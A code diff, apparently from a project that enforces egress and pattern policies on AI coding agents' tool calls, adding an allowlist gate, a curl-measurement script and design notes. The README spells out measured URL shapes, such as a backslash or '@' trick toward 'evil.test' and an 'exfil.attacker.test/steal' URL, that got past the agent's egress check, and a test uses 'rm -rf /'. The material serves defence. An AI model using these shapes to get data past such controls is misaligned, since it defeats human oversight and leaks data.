policy_target: "$.tool_call.args.acs_policy_target" policy_target_kind: tool_args tool_name_from: "$.tool_call.name" + # Wires the annotator above into this gate. `from` is a LIVENESS + # PRECONDITION, not a projection, and both halves of that are measured: + # AGT requires this path to resolve or it denies the whole call on + # runtime_error:path_missing with the annotator never dispatched, and the + # value it resolves is NOT what the annotator receives -- the dispatcher + # gets the entire preliminary policy input and reads the command out of it + # by name. + # + # So this path names the one snapshot member assemble-snapshot.ts + # guarantees is always present: raw_command, the empty string when the wire + # carried none. A path that could be absent for some tool would make every + # call by that tool a total deny. + annotations: + egress: + from: "$.tool_call.raw_command" policy: id: agt_stock # Additive: nothing evaluates this point until a steps/toolCallResult @@ -56,10 +103,12 @@ intervention_points: # an ACS redaction: the two address the SAME leaf in two notations -- # "$.tool_result.outputs[0].value" here is AGT's JSONPath over the # snapshot, "/outputs/0/value" there is the ACS JSON pointer into the - # result payload the host applies it to. This is the SECOND of the two - # places mapping.yaml and this file touch, exactly as - # into_argument is for the request gate above: change one and the - # other is wrong, and nothing in either FILE can tell. + # result payload the host applies it to. This is the one place + # mapping.yaml and this file still touch directly: the request gate's + # own leaf-name agreement above is now with assemble-snapshot.ts's + # POLICY_TARGET_LEAF constant, not with mapping.yaml, since mapping.yaml + # no longer names that leaf at all. Move this leaf and mapping.yaml is + # wrong, and nothing in either FILE can tell. # # test/path-dialects.test.ts is what tells: it derives the ACS pointer # from this JSONPath and fails if the two stop describing one leaf, for @@ -108,9 +157,47 @@ tools: # Additive: registering it changes # nothing for any existing caller (measured, suite byte-identical with and # without this entry), and security_labels: [shell] is inert under this - # manifest's own policy/lib/data.json config today -- carried only so - # "bash" behaves like "Bash" the moment cfg.egress ever gets configured. + # manifest's own policy/lib/data.json config: the egress gate is the bundle's + # only reader of security_labels, and it reads them only as a fallback for a + # cfg.egress with no `allowlist` of its own -- which data.json sets, and only + # while it does. The WebFetch entry below carries the full reasoning. bash: type: Tool id: bash security_labels: [shell] + # Claude Code's own real tool name for a web fetch, and OpenCode's, for the + # identical reason "Bash" and "bash" are both here: an unregistered + # tool_call.name fails AGT's evaluation closed on runtime_error:tool_unknown + # before any rule runs. Both spellings are registered because one manifest + # serves both hosts -- so this registry deliberately names more tools than + # either host dispatches. + # + # security_labels: [shell] is carried for the same reason every other entry + # carries it, and it stays inert only because of a key in another file. + # policy/lib/data.json now configures cfg.egress, so the egress gate is + # live for every tool here -- and AGT's allowlist(rules) falls back to + # input.tool.security_labels whenever cfg.egress carries no `allowlist` of + # its own. That fallback would hand the gate ["shell"], which matches no + # destination, and every fetch and every command with a URL in it would be + # denied on egress_destination_not_allowed. data.json therefore sets + # `allowlist` explicitly, and policy/lib/egress.rego is the bundle's only + # reader of security_labels at all -- so FOR AS LONG AS THAT KEY IS SET, + # and only for that long, nothing reads these labels. Delete the labels and + # nothing changes; delete data.json's `allowlist` and they become the + # allowlist for every tool here. + # + # WHAT IS IN THAT ALLOWLIST AND WHY, since JSON carries no comments to say + # so: `*.anthropic.com` is the host this repository's own demos and tests + # fetch from, and `docs.example.com` is a second, deliberately inert entry + # -- it proves the allowlist is a LIST rather than a single value, and + # gives a runbook reader an obvious slot to edit when adding their own + # host. No test depends on the second entry; every test that depends on the + # first fetches an anthropic.com URL. + WebFetch: + type: Tool + id: WebFetch + security_labels: [shell] + webfetch: + type: Tool + id: webfetch + security_labels: [shell] diff --git a/scripts/regenerate-curl-resolved-hosts.sh b/scripts/regenerate-curl-resolved-hosts.sh new file mode 100755 index 00000000..10da7a3d --- /dev/null +++ b/scripts/regenerate-curl-resolved-hosts.sh @@ -0,0 +1,82 @@ +#!/usr/bin/env bash +# Re-measures, for every command line in the differential corpus, the host +# `curl` itself resolves that command's URL to — and rewrites the corpus file +# with the measurements. +# +# WHY THIS EXISTS. The Guardian's egress annotator reads a PRE-SHELL command +# line and has to answer which host it reaches. `curl` answers that from a +# POST-SHELL argument, using its own parser, which agrees with neither the +# WHATWG parser nor the two splits AGT's gate performs. Four attempts to +# compute the answer from the command line each shipped a different bypass. So +# the answer is measured from `curl` instead of derived, and the corpus test in +# packages/guardian/test/annotate-egress.test.ts asserts against it. +# +# WHY IT DOES NOT RUN ON EVERY TEST RUN. Spawning eighteen curls per `bun test` +# is slow and makes the suite depend on a binary's version. The measurements are +# pinned here instead; re-run this script when the corpus grows, and commit the +# result. +# +# HOW THE MEASUREMENT AVOIDS SENDING ANYTHING. `--proxy http://127.0.0.1:1` +# points curl at a port nothing listens on, so every request fails to connect +# (exit 7) with no packet leaving the machine. `-w '%{url.host}'` is filled in +# from curl's own parse of the URL before any connection is attempted, which is +# precisely the value wanted. No `User-Agent` beyond curl's default is set and +# no identifying header is added. +# +# HOW THE SHELL HALF IS KEPT HONEST. Each command is run through `eval` in a +# real bash, so bash performs the word splitting and quote removal it would +# perform for real — the backslash rows in the corpus exist because that step is +# where the annotator and curl part company. Globbing is switched off with +# `set -f`: the corpus carries URLs containing `?`, which bash would otherwise +# treat as a single-character pattern. With globbing on, bash leaves a pattern +# that matches no file unchanged, so this changes no measurement unless a file +# in the working directory happens to match a URL. +# +# TO EXTEND THE CORPUS: add the command line as a new key in the corpus file +# with any placeholder value, then run +# +# bash scripts/regenerate-curl-resolved-hosts.sh +# +# and commit the rewritten file. +set -euo pipefail +set -f + +repo_root="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +cd "$repo_root" + +corpus="packages/guardian/test/fixtures/curl-resolved-hosts.json" +dead_proxy="http://127.0.0.1:1" + +if [ ! -f "$corpus" ]; then + echo "regenerate-curl-resolved-hosts: missing $corpus" >&2 + exit 1 +fi + +if ! command -v jq >/dev/null 2>&1; then + echo "regenerate-curl-resolved-hosts: 'jq' is required" >&2 + exit 1 +fi + +measured="{}" +while IFS= read -r command; do + case "$command" in + "curl "*) ;; + *) + echo "regenerate-curl-resolved-hosts: every corpus entry must be a curl command line; got: $command" >&2 + exit 1 + ;; + esac + + argument="${command#curl }" + host="$(eval "curl -s -o /dev/null --proxy $dead_proxy -w '%{url.host}' $argument" || true)" + + if [ -z "$host" ]; then + echo "regenerate-curl-resolved-hosts: curl resolved no host for: $command" >&2 + exit 1 + fi + + measured="$(jq --arg k "$command" --arg v "$host" '. + {($k): $v}' <<<"$measured")" +done < <(jq -r 'keys_unsorted[]' "$corpus") + +jq --indent 2 . <<<"$measured" > "$corpus" +echo "regenerate-curl-resolved-hosts: rewrote $corpus" diff --git a/slices/v9/README.md b/slices/v9/README.md new file mode 100644 index 00000000..c84eac6a --- /dev/null +++ b/slices/v9/README.md @@ -0,0 +1,83 @@ +# V9: A second tool shape, and the egress gate + +**Demo:** Ask for a web fetch of a host the allowlist does not cover. AGT's stock `egress` gate denies it — a fourth gate class live, from one `data.json` key and no code. Then ask for the same destination over `curl`, and it denies again, this time from a Guardian-extracted destination. Both verdicts come from the same unforked rule. + +**Master doc:** [`docs/shaping/acs-reference-impl-slices.md`](../../docs/shaping/acs-reference-impl-slices.md) §V9 — authoritative for this slice's scope. Its measurements are in [`docs/shaping/spike-unreached-gates.md`](../../docs/shaping/spike-unreached-gates.md). + +**Affordances:** N54, N55, S17 are this slice's own; N23, N24, N21, N31, N30, N2, N11 change; S10, S7, S8, S1, S2 gain declarations. Defined in [Detail C](../../docs/shaping/acs-reference-impl-shaping.md#detail-c-affordances) and detailed in §V9's breadboard. No new UI — the denial renders through U2, U11, U20 and U21, which is the right answer rather than an omission: a deny is a deny, and U21 already renders whatever `reason_codes` comes back. + +**Written before the code, and amended after it.** Everything below the "Names frozen" heading was written when no V9 code existed — that is what made it a set of commitments rather than a description. It has since been amended in three places, each marked ⚠️ where it appears: commitment 6 gains a second condition the annotator has to satisfy, the two-routes paragraph retracts a claim about V7's matrix that turned out not to be implementable, and the sentence describing the manifest's old literal `policy_target` is now in the past tense because this slice moved it. Nothing else changed, and no commitment was relaxed. The captured evidence is [`docs/demos/v9-runbook.md`](../../docs/demos/v9-runbook.md). + +## What this slice actually is + +The demo's first half needs **no code at all**, and saying so plainly is the point. `egress.rego`'s first default destination path is `["snapshot", "tool_call", "args", "url"]`, and `assemblePreToolCallSnapshot` already unwraps every ACS `arguments..value` into `tool_call.args.`. For a tool whose ACS arguments name a `url`, the wire and the gate already agree. Measured against the pinned bundle with one `data.json` key and one manifest `tools:` entry: + +| Envelope | Verdict | +|---|---| +| `arguments.url.value = "https://docs.anthropic.com/x"` | `allow`, `result_labels: ["public"]` | +| `arguments.url.value = "https://exfil.attacker.test/steal"` | `deny` `egress_destination_not_allowed` | + +The code in this slice is not what makes egress work. It is what makes a **second tool shape** work at all — and what covers the shell case the first half cannot. + +AGT's `manifest.schema.json` defines `intervention_point` with `additionalProperties: false` and exactly one `policy_target`. One manifest, one point, one path. ⚠️ *Written before the change: `policy/manifest.yaml` **declared** `$.tool_call.args.command`, AGT resolves it before any rule runs, and a benign `WebFetch` call under it was **denied** with `runtime_error:path_missing` — measured. That had never bitten because the deployment governed exactly one tool. The shipped manifest now declares `$.tool_call.args.acs_policy_target`, the normalised leaf, and `mapping.yaml`'s `policy_target_argument` table says which of each tool's own arguments is copied into it.* + +## Names frozen before implementation + +No V9 code exists yet, which is the only reason this section can be written at all. This slice has the same collision V8 had, in the same shape: **`egress` is already spent.** `policy/lib/egress.rego` is AGT's stock gate, `cfg.egress` under `data.agt.defaults.config` is its configuration, `egress_destination_not_allowed` is the reason it emits, and `input.tool.security_labels` is the allowlist it falls back to. Every one of those is AGT's. What this slice builds is a Guardian-side *extractor* that feeds that gate, and left to implementation time the first file is called `egress.ts` and is read as the gate. + +Each numbered sentence below is a commitment a future implementer can be held to. None describes measured V9 behaviour — there is none yet. Each fixes a name and the role that name must fill, and nothing more. + +1. **Nothing this slice builds is named `egress` alone.** The annotator is `annotateEgressDestination()` (N55) and the file that holds it is `annotate-egress.ts`. `egress.ts`, `Egress`, and a bare `egress` export are not available: they name AGT's gate, which this repository vendors byte-identical and does not author. + +2. **The declaration in `mapping.yaml` is `policy_target_argument`, with members `default` and `by_tool`.** The echo of AGT's own `policy_target` is deliberate and is the file's whole job: the manifest's `policy_target` and this table name the same leaf in two dialects, exactly as `into_argument` and `into_path` already do for the two gates. A third noun would hide that they are one fact. + +3. **`modifications.into_argument` is removed, not kept alongside.** N54 answers both questions — which argument the policy target is read from, and which argument a `transform` is written back to — because two declarations of one fact are two things that can disagree. Measured, that disagreement is a redaction emitted against `parameter_overrides.command` on a tool that has no `command` argument, while the argument that carries the secret is delivered untouched. + +4. **The synthetic snapshot leaf is `acs_policy_target`, and it must not shadow a tool's real argument.** It is written by `assemblePreToolCallSnapshot` and named by `policy/manifest.yaml`'s `policy_target`. The `acs_` stem marks it as this side's construct rather than something a host sent, which is what stops it being read as an argument the tool declared. An implementation that finds a real tool argument by that name fails loudly rather than overwriting it. + +5. **`resolvePolicyTargetArgument(mapping, point, toolName)` is told the tool name; it does not read an envelope.** Its callers already hold that name — `evaluateStep` reads `envelope.params.payload.tool.name` for the chain entry two statements earlier. A resolver that took an envelope would couple `map-verdict.ts` to the wire shape it currently knows nothing about. + +6. **`annotateEgressDestination` answers `{destination}` or `{}`, never a throw and never `null`.** A command it cannot parse is not an error: `egress.rego`'s gate is `undefined` when no destination resolves, and the call falls through to the other gates. This is the slice's stated miss direction (risk row 22) and must read as a deliberate answer in the code, not as a swallowed failure. + + ⚠️ **Amended after measurement — the `{}` answer has a second condition, and it is not a preference.** The annotator also stands down, answering `{}`, when the snapshot's own arguments already carry a destination AGT reads: `url`, `endpoint`, `host` or `domain`, the four tool-argument entries in `egress.rego`'s `default_destination_paths`. The reason is not politeness about whose destination is better. `destination(rules)` is a **complete** Rego rule over `some path in paths`, so a snapshot where two of those paths resolve to *different* strings has no single answer: measured, that is `deny runtime_error:policy_invocation_failed` — a total deny wearing a runtime-error reason, on a call nobody decided about. Two paths resolving to the *same* string are fine (measured: `allow`), which is what makes this a conflict rather than a duplication, and what rules out reading it as a priority order the rule would resolve for us. It is not reachable across the two tools this slice governs — the fetch tool sends `url` and an empty `raw_command`, the shell tool sends `command` and a populated one — and it is reachable on the first tool registered that sends both, which is why it is closed in the code with its own test rather than left to the tool set staying small. Risk row 25. Secondary, and true anyway: the tool's own argument is the better evidence, because it is what the tool will actually reach for, where a command line is what someone typed. + +7. **The Guardian supplies an annotator dispatcher unconditionally once the manifest declares one.** Measured: a manifest carrying `annotators: egress` evaluated by a bridge built without a dispatcher answers `deny runtime_error:annotation_failed` for `echo hi` as readily as for a `curl` — a **total deny wearing a runtime-error reason**. `StartGuardianOptions.annotator` stays overridable; what changes is that omitting it no longer means "no annotator", it means "the built-in one". A test asserting a benign call is not denied under the shipped manifest is the one check in this slice whose absence would be silent. + +8. **`cfg.egress` ships with an explicit `allowlist`.** With the key absent, `allowlist(rules)` falls back to `input.tool.security_labels`, which is `["shell"]` on every tool `policy/manifest.yaml` registers, and every destination is denied. That fallback is AGT's and stays untouched; what this slice owes is a configuration that does not walk into it, and a test that pins the reason. + +## What this slice does not do, stated so it is not assumed + +**Only the request gate's matcher widens.** `claude-code.hookmap.yaml`'s `PostToolUse` entry declares `outputs.from: $.tool_response.stdout`. A `WebFetch` result carries no `stdout`, so `resolvePath` answers `undefined`, `buildPayload` throws, `governStep` answers with the negotiated posture, and under the shipped `proceed` **the step runs ungoverned with an audit event**. No stock gate reads a fetch's output, so widening `PostToolUse` buys nothing and costs a fail-open. `.claude/settings.json` keeps `^Bash$` there. + +The general form — a hookmap declares `outputs.from` once per hook, exactly as the manifest declared `policy_target` once per point — is the same one-shape assumption one layer out, and **nothing in this slice answers it.** It is risk row 24 and is explicitly unassigned. + +**Widening the matcher governs the tools named in it and no others.** Claude Code dispatches many more; each is a `tools:` registration plus a `by_tool` row. Additive, not automatic. The `runtime_error:tool_unknown` wall that made both `Bash` and `bash` necessary is unchanged. + +⚠️ **Added by the final review round — `egress.rego` does not parse a URL, and only one of the two routes could be closed.** `host_of()` takes the substring after the scheme, cuts it at the first `/`, cuts that at the first `:`, and calls the rest the host. Five shapes get past it, all measured against the shipped allowlist: a userinfo, a userinfo carrying a `:` (`host_of("https://docs.anthropic.com:pw@exfil.attacker.test/steal")` is `docs.anthropic.com`), an `@` inside a query, an `@` inside a fragment, and — the one that matters most — **a dotless host with either of those**, because the allowlist glob's `*` spans one dot-delimited segment and swallows the trailing text whenever the real host has no dot. `curl https://metadata?x=@docs.anthropic.com` was **allowed on both routes** while `curl` reaches `metadata`. Dotless names are internal names, which is the class an egress gate is deployed for. + +⚠️ **A sixth shape, and the round that stopped hand-rolling.** Four rounds of computing a host from the command line produced four distinct bypasses. Rounds one to three were hand-rolled string surgery; round four replaced it with `new URL(...).origin`, which closed all five shapes above and opened a sixth — **the backslash**. Measured: for `curl https://docs.anthropic.com\@evil.test/steal`, a WHATWG parse answers the origin `https://docs.anthropic.com` (it treats `\` as `/` in a special scheme), `host_of()` answers `docs.anthropic.com\@evil.test`, and `curl` — after an unquoted shell has removed the backslash — reaches `evil.test`. That was the first answer this module ever gave that was both **allowlisted** and wrong, and no delimiter rule repairs it: computing which host a *pre-shell* command line reaches requires a shell parser and curl's parser, and the Guardian has neither. + +⚠️ *So the default is inverted rather than patched again.* `annotateEgressDestination` now recognises only the authority shapes on which no parser could disagree — a plain host, an optional numeric port, terminated by `/`, `?`, `#` or the end of the token — answers those with `new URL(...).origin`, and answers **everything else**, the parse throw included, with `https://unresolved.invalid`, a name RFC 2606 reserves so it can never resolve and can never be legitimately allowlisted. The gate then denies it. `{}` is kept only where the command carries no URL at all, because `{}` is *not* a safe answer to ambiguity: with no destination the gate resolves nothing, is undefined, and the call **allows**. The function stays total — never throws, never `null`, always an object. All six shapes deny on the shell route, measured through a live Guardian across fourteen adversarial commands and four allowlisted controls. + +⚠️ *Three consequences recorded rather than discovered later.* Destinations are origins now rather than full URLs, which nothing reads (only `host_of(dest)` is consulted). A URL parse lowercases the host against a case-sensitive glob, so `https://DOCS.ANTHROPIC.COM/x` denies on the fetch route and allows on the shell route — correct, since DNS is case-insensitive, but a widening, with `https://EVIL.TEST/x` and `https://docs.anthropic.com.evil.test/x` measured as still denying. And `https://docs.anthropic%2ecom/x` now **denies though `curl` reaches the allowlisted `docs.anthropic.com`** — a genuine over-block, in the fail-closed direction, and the price of not adjudicating a percent-escape three parsers read differently. + +⚠️ *The two routes are now asymmetric, and the shell route is the stricter one.* The fetch route reads `args.url` through the gate's own first destination path with nothing in between, so of the six shapes above it still allows **two**: the userinfo carrying a `:`, and the dotless host. (The other four deny there, but in each of the four `host_of()` names a host that is not the destination — right verdict, wrong question.) Closing those would mean editing a `.rego`. The durable guard against a seventh shape is not another case: it is a differential corpus of eighteen command lines pinned against the host `curl` itself resolves, regenerated by `scripts/regenerate-curl-resolved-hosts.sh` through a dead local proxy so no request leaves the machine, asserting that the annotator answers curl's host or refuses — never a third host and never an allowlisted one. Risk row 26, captured in the runbook's §5. + +⚠️ **Added by the final review round — this configuration denies any shell command that merely mentions an off-allowlist URL.** Measured: `git clone https://github.com/openai/whisper`, `pip install -i https://pypi.org/simple requests` and `echo 'docs at https://example.org/readme'` all deny; `npm install` and `ls -la` allow. The extractor has no model of whether a command reaches the URL in it, and building one means parsing shell. Neither the allowlist nor the extractor is re-tuned; the direction is published in the README's install step and in the runbook's §5, and it is risk row 27. + +**The two egress routes are not one claim.** The `url` route's destination is constructible from the ACS envelope alone. The `raw_command` route's destination is Guardian-originated — the status R1.3's `annotations` and R1.4's identity already carry. Two provenances for one gate is the honest result, and it is why both halves ship instead of one. + +⚠️ **Amended after measurement — the distinction is real, the matrix cell was not.** This paragraph said the two routes take different cells in V7's matrix, `expressed` and `guardian_only`. Measured against the shipped harness, that is not implementable: the matrix is 8 AGT intervention points × 5 AGT verdicts, both axes read off the pinned SDK's own consts, with no coordinate for a gate class and none for a route — and `pre_tool_call × deny` already resolved `expressed` before this slice, from the patterns gate. An egress deny at that coordinate adds no cell and changes no status. So this slice adds **no cell** to the matrix and changes **neither axis**, and the two-provenance claim is stated where it is true: here, in §V9, and in the runbook. It does *not* follow that `packages/conformance` is untouched — declaring an annotator meant every bridge constructed against the shipped manifest needed a dispatcher, including two production files in that package, and all of them now build their bridge through one `createDeploymentBridge` published at the `guardian/deployment` subpath, so the harness and the deployment provably build the same bridge. + +## The check that changes + +`test/path-dialects.test.ts` derives `mapping.yaml`'s `into_argument` from `policy/manifest.yaml`'s `policy_target`. Under this slice the manifest's `policy_target` names the synthetic leaf, so that derivation would yield `acs_policy_target` — no host's argument — and fail against every row of the new table. + +It splits into the two agreements that are load-bearing now: + +1. The manifest's `policy_target` names the leaf `assemblePreToolCallSnapshot` writes. One derivation, as before. +2. Every argument in `policy_target_argument.by_tool` is keyed by a tool `policy/manifest.yaml`'s registry knows. ⚠️ *The registry can tell you `WebFetch` is registered; it cannot tell you `WebFetch` takes a `url`. Same limit §V8 measured for hookmap `tools` entries, and for the same reason: one manifest serves both hosts, so it names more than either dispatches.* + +## Found while breadboarding + +**S17 is new, and its absence is the finding.** `.claude/settings.json` and `hosts/claude-code/settings.json` decide which tools reach the shim at all (`"matcher": "^Bash$"`), and neither has ever appeared in this project's breadboard. Every affordance downstream assumes a governed call and nothing said which calls those are — which is how a one-tool deployment survived eight slices unnoticed. OpenCode has no counterpart: its plugin registers for every tool and scopes in `opencode.hookmap.yaml`'s `tools:` list, so the same fact lives in a different *kind* of place per host. diff --git a/test/ifc-round-trip.test.ts b/test/ifc-round-trip.test.ts index 89c0f195..4f5a1d5a 100644 --- a/test/ifc-round-trip.test.ts +++ b/test/ifc-round-trip.test.ts @@ -10,23 +10,42 @@ */ import { describe, expect, it } from "bun:test"; import { fileURLToPath } from "node:url"; -// Relative, not a bare `agt-bridge` specifier: the workspace package is -// linked only into packages/guardian/node_modules (its sole declared -// consumer), so a bare import does not resolve from this directory. Same -// precedent as test/redaction.test.ts, which sits beside this file and -// exercises the same bridge against the same manifest. -import { createBridge } from "../packages/agt-bridge/src/index.ts"; -import { createMemorySessionContextStore, persistIfcLabels, supplySourceLabels } from "guardian"; +import { + createMemorySessionContextStore, + persistIfcLabels, + supplySourceLabels, + POLICY_TARGET_LEAF, +} from "guardian"; +// The deployment subpath, not the barrel: the barrel is the governance verbs, +// and this is how the deployment builds a bridge. Using it rather than +// `createBridge` directly is what makes the bridges below the same ones a real +// Guardian evaluates against -- annotator included. +import { createDeploymentBridge } from "guardian/deployment"; const MANIFEST = fileURLToPath(new URL("../policy/manifest.yaml", import.meta.url)); const budgets = { budgets: { tool_call_count: 0, token_count: 0, elapsed_seconds: 0, cost_usd: 0 } }; +// Every pre_tool_call fixture below carries `raw_command` for the same reason +// it carries POLICY_TARGET_LEAF: policy/manifest.yaml's pre_tool_call point +// now declares `annotations.egress.from: "$.tool_call.raw_command"`, and that +// path is a liveness precondition -- AGT denies the whole call on +// runtime_error:path_missing when it does not resolve, before any rule these +// tests are about ever runs. assemble-snapshot.ts writes the member on every +// Guardian-assembled snapshot (the empty string when the wire carried none), +// so a hand-built stand-in has to carry it too. The values here reach no +// allowlisted or denied host, so the egress gate stays undefined and the +// gates under test keep their turn. describe("the IFC round trip, on the shipped bundle", () => { it("propagates a label the session already carries, and returns it", async () => { - const bridge = createBridge(MANIFEST); + const bridge = createDeploymentBridge(MANIFEST); const verdict = await bridge.evaluate("pre_tool_call", { envelope: budgets, - tool_call: { name: "Bash", args: { command: "echo hello" }, id: "req-1" }, + tool_call: { + name: "Bash", + args: { command: "echo hello", [POLICY_TARGET_LEAF]: "echo hello" }, + raw_command: "echo hello", + id: "req-1", + }, input: { ifc: { source_labels: ["confidential"] } }, }); expect(verdict.decision).toBe("allow"); @@ -34,10 +53,15 @@ describe("the IFC round trip, on the shipped bundle", () => { }); it("denies a flow the configured clearance does not dominate", async () => { - const bridge = createBridge(MANIFEST); + const bridge = createDeploymentBridge(MANIFEST); const verdict = await bridge.evaluate("pre_tool_call", { envelope: budgets, - tool_call: { name: "Bash", args: { command: "echo hello" }, id: "req-1" }, + tool_call: { + name: "Bash", + args: { command: "echo hello", [POLICY_TARGET_LEAF]: "echo hello" }, + raw_command: "echo hello", + id: "req-1", + }, input: { ifc: { source_labels: ["secret"] } }, }); expect(verdict.decision).toBe("deny"); @@ -56,10 +80,15 @@ describe("the IFC round trip, on the shipped bundle", () => { // "confidential" clearance would deny -- so an "allow" here is possible // only if the root-level `ifc` this snapshot also carries was never read. it("reads nothing from the path the upstream library uses, which AGT hosts do not populate", async () => { - const bridge = createBridge(MANIFEST); + const bridge = createDeploymentBridge(MANIFEST); const verdict = await bridge.evaluate("pre_tool_call", { envelope: budgets, - tool_call: { name: "Bash", args: { command: "echo hello" }, id: "req-1" }, + tool_call: { + name: "Bash", + args: { command: "echo hello", [POLICY_TARGET_LEAF]: "echo hello" }, + raw_command: "echo hello", + id: "req-1", + }, input: { ifc: { source_labels: ["confidential"] } }, // The trap agt_ifc_test.rego pins: labels at the snapshot root are not // read. Deliberately placed at the snapshot root rather than nested @@ -90,10 +119,15 @@ describe("the IFC round trip, on the shipped bundle", () => { // makes the session seed load-bearing rather than cosmetic: without it, a // fresh session's first step hits exactly this case. it("denies a session whose labels were cleared outright, because zero labels is a denied flow", async () => { - const bridge = createBridge(MANIFEST); + const bridge = createDeploymentBridge(MANIFEST); const verdict = await bridge.evaluate("pre_tool_call", { envelope: budgets, - tool_call: { name: "Bash", args: { command: "echo hello" }, id: "req-1" }, + tool_call: { + name: "Bash", + args: { command: "echo hello", [POLICY_TARGET_LEAF]: "echo hello" }, + raw_command: "echo hello", + id: "req-1", + }, input: { ifc: { source_labels: [] } }, }); expect(verdict.decision).toBe("deny"); @@ -114,10 +148,15 @@ describe("the IFC round trip, on the shipped bundle", () => { // the gates still compose once a label is present, not just that adding // one makes a denial go away. it("still reaches the pattern gate once IFC allows the flow -- a labelled destructive command denies for the pattern's own reason", async () => { - const bridge = createBridge(MANIFEST); + const bridge = createDeploymentBridge(MANIFEST); const verdict = await bridge.evaluate("pre_tool_call", { envelope: budgets, - tool_call: { name: "Bash", args: { command: "rm -rf /" }, id: "req-1" }, + tool_call: { + name: "Bash", + args: { command: "rm -rf /", [POLICY_TARGET_LEAF]: "rm -rf /" }, + raw_command: "rm -rf /", + id: "req-1", + }, input: { ifc: { source_labels: ["public"] } }, }); expect(verdict.decision).toBe("deny"); diff --git a/test/invariants.test.ts b/test/invariants.test.ts index 94b36f46..01410dde 100644 --- a/test/invariants.test.ts +++ b/test/invariants.test.ts @@ -390,17 +390,28 @@ describe("architectural invariants", () => { * `governStep` refuses -- throws, rather than skipping -- a gate whose * entry declares a `tools` list when its caller names no scoped tool * (`GovernStepInput.scopedTool`, packages/host-adapter/src/govern-step.ts). - * acs-hook.ts never names one: its own settings.json matcher (`^Bash$`) - * already scopes both gates, so it has never needed to, and it cannot - * start, because `scripts/verify-zero-diff.sh` freezes - * `hosts/claude-code/[^/]+\.(ts|yaml)$` for this slice. So while that - * freeze holds, a `tools` list anywhere in this hookmap is a throw on - * every call at the gate that declares it -- exit 2, no audit entry. Fail - * closed, not fail open: the tool call does not run ungoverned, and no - * audit entry claims it did. A broken deployment, not a bypass. Verified - * directly, with the real shim run as a subprocess against a live - * Guardian, across every combination of hookmap configuration, gate, and - * tool. + * acs-hook.ts names none: its own settings.json matcher already scopes + * both gates -- `^(Bash|WebFetch)$` at the request gate, `^Bash$` at the + * result gate -- so it has never needed to. + * + * `scripts/verify-zero-diff.sh` once held that shut mechanically by + * freezing `hosts/claude-code/[^/]+\.(ts|yaml)$`, and this comment used to + * say so in the present tense. It is past tense now. That script diffs + * against `slice/v4`, this host's hookmap has since changed under the + * frozen pattern, and `bun run verify:zero-diff` exits 1 from this HEAD + * naming `hosts/claude-code/claude-code.hookmap.yaml` among the paths that + * moved -- with nothing in `.github/workflows/` running it either. So the + * freeze proved the claim at the commit it was written against and does + * not hold from here. What holds the property today is THIS TEST, which is + * why the sentence is worth reading rather than deleting. + * + * The consequence itself is unchanged: while acs-hook.ts passes no scoped + * tool, a `tools` list anywhere in this hookmap is a throw on every call at + * the gate that declares it -- exit 2, no audit entry. Fail closed, not + * fail open: the tool call does not run ungoverned, and no audit entry + * claims it did. A broken deployment, not a bypass. Verified directly, + * with the real shim run as a subprocess against a live Guardian, across + * every combination of hookmap configuration, gate, and tool. * * Scoped to gates where `emptyOutputIsHonest` is false, which is narrower * than the truth above -- deliberately, and this is the part to read @@ -410,9 +421,11 @@ describe("architectural invariants", () => { * outlives the freeze. That fault is about the shim's own applier -- an * unlisted tool's empty output reaching `asClaudeCodeOutput` as an * absence it treats as a throw rather than a no-op -- and would still be - * a fault the day acs-hook.ts starts naming a scoped tool. The freeze - * consequence above would evaporate that same day, and a gate written for - * it would then be refusing something legitimate. Written down here, + * a fault the day acs-hook.ts starts naming a scoped tool. The + * throw-on-every-call consequence above would evaporate that same day, and + * a gate written for it would then be refusing something legitimate. That + * is the sense in which the reason outlives the freeze, and the freeze has + * now gone first. Written down here, * where whoever adds the line will read it, rather than enforced by a * check that expires. * @@ -424,9 +437,11 @@ describe("architectural invariants", () => { * than under hosts/opencode/test/. * * `hooksWhereEmptyOutputIsDishonest`, one function down, is why the flag - * is read out of acs-hook.ts's source text rather than imported: that - * file is itself inside the frozen pattern, so adding an export there to - * let this gate import the table is not available. + * is read out of acs-hook.ts's source text rather than imported: that file + * is inside the pattern `scripts/verify-zero-diff.sh` freezes, so when this + * gate was written, adding an export there was not available. That + * constraint is historical for the reason stated above -- the freeze does + * not hold from this HEAD -- and the source-text read is what shipped. */ it("Claude Code's hookmap declares no `tools` at a gate where an empty render is not an answer", () => { const SHIM = "hosts/claude-code/acs-hook.ts"; @@ -459,9 +474,11 @@ describe("architectural invariants", () => { `FAULTS, and the first one fires first. (1) governStep REFUSES a gate whose entry declares a ` + `"tools" list when its caller named no scoped tool, and ${SHIM} passes none -- so this is a throw ` + `on EVERY call at this gate, for the listed tool as much as for an unlisted one, exit 2 with no ` + - `audit entry. Measured with "tools: [Bash]" at PostToolUse, invoked for Bash. That shim cannot be ` + - `taught to tell while scripts/verify-zero-diff.sh pins it at +0/-0, so host #1 cannot declare ` + - `"tools" at any gate today. See GovernStepInput.scopedTool ` + + `audit entry. Measured with "tools: [Bash]" at PostToolUse, invoked for Bash. That shim passes no ` + + `scoped tool, and while scripts/verify-zero-diff.sh still held this host at +0/-0 it could not be ` + + `taught to; that freeze does not hold from this HEAD (the script exits 1 here and no workflow runs ` + + `it), so teaching the shim to tell is now an ordinary code change -- but until it is taught, ` + + `declaring "tools" at any gate is this throw. See GovernStepInput.scopedTool ` + `(packages/host-adapter/src/govern-step.ts). (2) Even once it does tell, this hook is one where ` + `${SHIM} declares "emptyOutputIsHonest: false": governStep returns an EMPTY rendered output for a ` + `tool a gate's list does not name (the "ungoverned" member of GovernedStep -- see its "output" ` + @@ -469,7 +486,7 @@ describe("architectural invariants", () => { `main().catch exits 2 -- so every call to an UNLISTED tool becomes a blocking stop, not the silent ` + `skip a list is added for. Both are fail-closed, so nothing runs ungoverned, and neither is what a ` + `"tools" list means anywhere else. Scope this gate by its host's own matcher (settings.json, ` + - `"^Bash$") as it already is.`, + `"^(Bash|WebFetch)$") as it already is.`, ); } } @@ -596,9 +613,14 @@ function exportedNames(code: string): string[] { * wrapper as a thing it must not write, and throws instead. * * Read out of the shim's source rather than imported, because `acs-hook.ts` - * exports none of this and is frozen (`scripts/verify-zero-diff.sh` - * fails on any change to it, so "export the table for the test" is not - * available). The same pragmatism `exportedNames` and `importsSpecifier` + * exports none of this and, when this was written, was frozen -- + * `scripts/verify-zero-diff.sh` failed on any change to it, so "export the + * table for the test" was not available. That freeze is past tense: the + * script diffs against `slice/v4`, this host's files have since 